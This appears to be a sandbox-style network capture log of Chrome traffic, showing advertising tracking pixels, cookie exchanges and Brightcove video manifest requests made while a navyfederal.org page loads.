2024-05-24 22:46:44 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:44 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.6	50567	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	464	OUT	GET /engagement/getpixels?gid=15654 HTTP/1.1 Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:44 UTC	289	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/html Expires: -1 Access-Control-Allow-Origin: * X-ServerName: Track004-iad Date: Fri, 24 May 2024 22:46:15 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.6	50568	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	728	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=41c189dc-0747-403e-98b2-97aff675ae2c&mt=&bd=&cb=1716590803977 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 90cce555fe384f1b1afc44656d49dae4 Date: Fri, 24 May 2024 22:46:44 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.6	50572	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	489	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=533c2d5e-d8da-4126-a3e5-0eb7139f2ccd&mt=&bd=&cb=1716590803274 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 4f9e8d2b422628d8d20640ab5bf7b892 Date: Fri, 24 May 2024 22:46:45 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.6	50570	151.101.2.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	776	OUT	GET /manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/10s/master.m3u8?fastly_token=NjY1MTYzYjlfMmQ4NzNmMjU0YzIyMjBiZjgyYjkxOWI5NTg3OWQ3NTlkMDQ4Nzk3NmRlMGMzZjA0NjcyMzMyMmMzM2I2ODI0OQ%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://players.brightcove.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	689	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5769 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Bolt-Device-Group: desktop-chrome X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 8618 Date: Fri, 24 May 2024 22:46:44 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890050-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716590805.996334,VS0,VE1 X-Device-Group: desktop-chrome
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 34 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 3a 54 59 50 45 3d 41 55 44 49 4f 2c 47 52 4f 55 50 2d 49 44 3d 22 61 75 64 69 6f 2d 30 22 2c 4e 41 4d 45 3d 22 65 6e 20 28 4d 61 69 6e 29 22 2c 44 45 46 41 55 4c 54 3d 59 45 53 2c 41 55 54 4f 53 45 4c 45 43 54 3d 59 45 53 2c 4c 41 4e 47 55 41 47 45 3d 22 65 6e 22 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 63 39 63 64 36 30 36 31 2d 66 63 35 31 2d Data Ascii: #EXTM3U#EXT-X-VERSION:4#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-0",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/c9cd6061-fc51-
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 35 36 61 33 66 61 33 36 2d 37 38 31 63 2d 34 38 65 32 2d 61 64 37 39 2d 39 31 34 35 66 35 65 61 30 37 62 35 2f 69 66 72 61 6d 65 2e 6d 33 75 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 54 52 6d 4e 44 6c 66 4f 47 4e 6a 59 6a 55 33 5a 54 68 69 4d 7a 6b 30 4d 6a 55 32 5a 57 59 77 59 32 55 78 4d 32 52 6d 4d 54 4d 7a 4f 47 45 35 4d 47 59 31 4e 6a 4e 69 5a 54 59 31 4f 54 4d 30 5a 57 5a 6c 4d 44 55 32 4e 47 55 Data Ascii: RI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/56a3fa36-781c-48e2-ad79-9145f5ea07b5/iframe.m3u8?fastly_token=NjY1MTRmNDlfOGNjYjU3ZThiMzk0MjU2ZWYwY2UxM2RmMTMzOGE5MGY1NjNiZTY1OTM0ZWZlMDU2NGU
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 38 38 2f 69 66 72 61 6d 65 2e 6d 33 75 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 54 52 6d 4e 44 6c 66 5a 57 45 31 5a 6a 56 6b 4e 54 6b 30 5a 6a 63 31 4e 54 68 6d 4e 6d 59 30 4e 47 49 30 5a 54 6b 78 59 32 5a 6b 59 32 4d 78 4d 57 59 79 4d 6d 4d 77 4d 6a 59 79 5a 54 4e 6d 4e 47 46 6c 4d 44 56 6b 5a 6d 4e 6a 4d 54 59 78 4d 7a 67 34 59 6a 49 77 4e 57 59 77 59 77 25 33 44 25 33 44 22 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 3a 54 59 50 45 3d 41 55 44 49 4f 2c 47 52 4f 55 50 2d 49 44 3d 22 61 75 64 69 6f 2d 32 22 2c 4e 41 4d 45 3d 22 65 6e 20 28 4d 61 69 6e 29 22 2c 44 45 46 41 55 4c 54 3d 59 45 53 2c 41 55 54 4f 53 45 4c 45 43 54 3d 59 45 53 2c 4c 41 4e 47 55 41 47 45 3d 22 65 6e 22 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 Data Ascii: 88/iframe.m3u8?fastly_token=NjY1MTRmNDlfZWE1ZjVkNTk0Zjc1NThmNmY0NGI0ZTkxY2ZkY2MxMWYyMmMwMjYyZTNmNGFlMDVkZmNjMTYxMzg4YjIwNWYwYw%3D%3D"#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-2",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifes
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 4d 2d 49 4e 46 3a 50 52 4f 47 52 41 4d 2d 49 44 3d 30 2c 42 41 4e 44 57 49 44 54 48 3d 31 34 34 37 36 30 30 2c 43 4f 44 45 43 53 3d 22 6d 70 34 61 2e 34 30 2e 32 2c 61 76 63 31 2e 34 64 30 30 31 66 22 2c 52 45 53 4f 4c 55 54 49 4f 4e 3d 39 36 30 78 35 34 30 2c 41 55 44 49 4f 3d 22 61 75 64 69 6f 2d 32 22 2c 43 4c 4f 53 45 44 2d 43 41 50 54 49 4f 4e 53 3d 4e 4f 4e 45 2c 53 55 42 54 49 54 4c 45 53 3d 22 73 75 62 74 69 74 6c 65 73 2d 30 22 0a 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 Data Ascii: M-INF:PROGRAM-ID=0,BANDWIDTH=1447600,CODECS="mp4a.40.2,avc1.4d001f",RESOLUTION=960x540,AUDIO="audio-2",CLOSED-CAPTIONS=NONE,SUBTITLES="subtitles-0"https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc4
2024-05-24 22:46:45 UTC	285	IN	Data Raw: 30 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 66 66 34 34 64 65 35 66 2d 35 66 63 30 2d 34 62 34 31 2d 39 34 30 37 2d 36 63 32 64 38 61 31 32 66 39 38 30 2f 69 66 72 61 6d 65 2e 6d 33 75 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 54 52 6d 4e 44 6c 66 59 6a 41 31 59 57 49 35 4f 54 42 6c 5a 44 59 77 4e 6d 45 30 59 54 41 32 59 6a 4d 79 4d 7a 59 31 59 54 63 32 4e 54 4d 78 4f 44 45 32 59 54 41 33 59 7a 45 34 4d 47 4d 35 4e 6a 55 33 59 7a 4a 6c Data Ascii: 0,URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/ff44de5f-5fc0-4b41-9407-6c2d8a12f980/iframe.m3u8?fastly_token=NjY1MTRmNDlfYjA1YWI5OTBlZDYwNmE0YTA2YjMyMzY1YTc2NTMxODE2YTA3YzE4MGM5NjU3YzJl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.6	50574	54.242.45.75	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	528	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590803.3401504 HTTP/1.1 Host: i.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:45 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:45 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:45 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:45 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:45 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.6	50573	54.242.45.75	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	528	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590803.3351986 HTTP/1.1 Host: i.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:45 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:45 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:45 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:45 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:45 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.6	50575	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:45 UTC	1189	OUT	GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&pf= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNZQ64?TJMhB6Y.<3Q9(!1DDYd+:z>x+eapOV%acua5_RUeJB46T5oe6_4$OUo[6<K`vN[#K?xmey)PK#^V)$pE:'C?c>AfryWL3=fL[F7t0SIj4s<EL@5S%v4VB%ns>)/F-Zd
2024-05-24 22:46:45 UTC	1662	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:45 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: c36a581b-8485-4d28-b79b-45d00b5da452 Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:45 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNNJ8xYw7dtFw32)dG5<#Z0w>uEJ-uoGzkIwDYejdnWx):D?)MgoUz3xp`f%wDSjY)o/r(T(j'lD-)bli)^+-*W`7qI=XAzz_7$.nbmFYTWAP//g9DX.TUef23KL9D3I?.<_Ur9h; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:45 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:45 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:45 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.6	50576	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:45 UTC	1298	OUT	GET /universal_pixel.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" If-None-Match: "2775054c068b37509e0798448f7fd32c" If-Modified-Since: Mon, 20 May 2024 07:02:14 GMT sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUYBSgDMgsIlJDy4MOT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:45 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Last-Modified: Mon, 20 May 2024 07:02:14 GMT x-amz-server-side-encryption: AES256 Server: AmazonS3 Date: Fri, 24 May 2024 04:52:22 GMT ETag: "2775054c068b37509e0798448f7fd32c" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 b12f8dbad5c96c988a65bc3df19995d0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: A3eeclVzOpNNqBLhSqkpwAclyASpciwKe4w_QPLSRurHb43y6B6g_g== Age: 64464

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.6	50577	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:45 UTC	623	OUT	GET /ddm/fls/z/src=9749892;dc_pre=CJvvuIevp4YDFQjyOwIdofgLng;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:45 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.6	50578	99.86.91.72	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:45 UTC	481	OUT	GET /v1/static/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/f6a719e0-cb0d-4498-bad5-7b0c2e2cac1c/636x348/match/image.jpg HTTP/1.1 Host: cf-images.us-east-1.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	527	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Date: Fri, 24 May 2024 22:46:45 GMT Expires: Sat, 24 May 2025 22:46:45 GMT Last-Modified: Fri, 01 Jan 2016 00:00:00 GMT X-Powered-By: BC X-Powered-From: gantry X-Cache: Miss from cloudfront Via: 1.1 4dacb01807cb4c0e8eb52307b7de1392.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG50-C1 X-Amz-Cf-Id: AxZd42q-qtduMzgZo37ImN_ojACBEpmlINNyCjUvkeshPwzyBAYvRg==
